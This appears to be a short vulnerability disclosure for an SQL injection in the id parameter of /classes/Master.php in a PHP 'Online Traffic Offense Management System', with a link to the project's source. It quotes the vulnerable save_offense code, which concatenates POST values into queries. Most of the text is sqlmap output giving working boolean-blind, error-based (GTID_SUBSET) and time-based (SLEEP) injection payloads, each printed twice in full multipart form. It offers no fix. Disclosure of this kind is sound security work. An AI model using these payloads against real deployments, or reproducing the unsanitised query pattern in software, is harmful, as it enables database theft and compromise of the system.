

SQL injection vulnerability exists in id parameter of /classes/Master.php file of Online Traffic Offense Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
24 function save_offense(){
25     extract($_POST);
26     $data = "";
27     foreach($_POST as $k => $v){
28         if(!in_array($k, array('id', 'description'))){
29             if(!empty($data)) $data .= ",";
30             $data .= "`{$k}`='{$v}' ";
31         }
32     }
33     if(isset($_POST['description'])){
34         if(!empty($data)) $data .= ",";
35         $data .= "`description`='".addslashes(htmlentities($description))."' ";
36     }
37     $check = $this->conn->query("SELECT * FROM `offenses` where `code` = '{$_code}' ".(!empty($_id) ? " and `id` != {$_id} " : "")." ")->
    num_rows;
38     if($this->conn->error())
```

```

sqlmap identified the following injection point(s) with a total of 346 HTTP(s) requests:

Parameter: MULTIPART id ((custom) POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="id"

2 AND 5890=5890
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="code"

1
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="name"

pHqghUme
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="description"

<ul><li>Sample Traffic offense or violation for over speed limit.</li></ul>
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="files"

_____YWJkMTQzNDcw
Content-Disposition: form-data; name="fine"

1
  _____YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0
  _____YWJkMTQzNDcw--

  Type: error-based
  Title: MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBS
ET)
  Payload: _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="id"

2 AND GTID_SUBSET(CONCAT(0×716b716a71,(SELECT (ELT(8984=8984,1)))),0×7178767a71),8984)
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="code"

1
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="name"

pHqghUme
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="description"

<ul><li>Sample Traffic offense or violation for over speed limit.</li></ul>
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="files"

_____YWJkMTQzNDcw
Content-Disposition: form-data; name="fine"

1
  _____YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0
  _____YWJkMTQzNDcw--

  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="id"

2 AND (SELECT 4826 FROM (SELECT(SLEEP(5)))LYxr)
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="code"

1
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="name"

pHqghUme
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="description"

<ul><li>Sample Traffic offense or violation for over speed limit.</li></ul>
  _____YWJkMTQzNDcw
  Content-Disposition: form-data; name="files"

_____YWJkMTQzNDcw
Content-Disposition: form-data; name="fine"

1
  _____YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0
  _____YWJkMTQzNDcw--

```

“

Parameter: MULTIPART id ((custom) POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

2 AND 5890=5890

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="code"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="name"

pHqghUme

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

Sample Traffic offense or violation for over speed limit.

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="fine"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="status"

0

-----YWJkMTQzNDcw--

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

2 AND GTID_SUBSET(CONCAT(0x716b716a71,(SELECT (ELT(8984=8984,1))),0x7178767a71),8984)

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="code"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="name"

pHqghUme

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

Sample Traffic offense or violation for over speed limit.

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="fine"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="status"

0

-----YWJkMTQzNDcw--

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

2 AND (SELECT 4826 FROM (SELECT(SLEEP(5)))LYxr)

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="code"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="name"

pHqghUme

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

Sample Traffic offense or violation for over speed limit.

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="fine"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="status"

0

-----YWJkMTQzNDcw--

“

Source Download:

<https://www.campcodes.com/projects/php/online-traffic-offense-management-system-in-php-free-source-code/>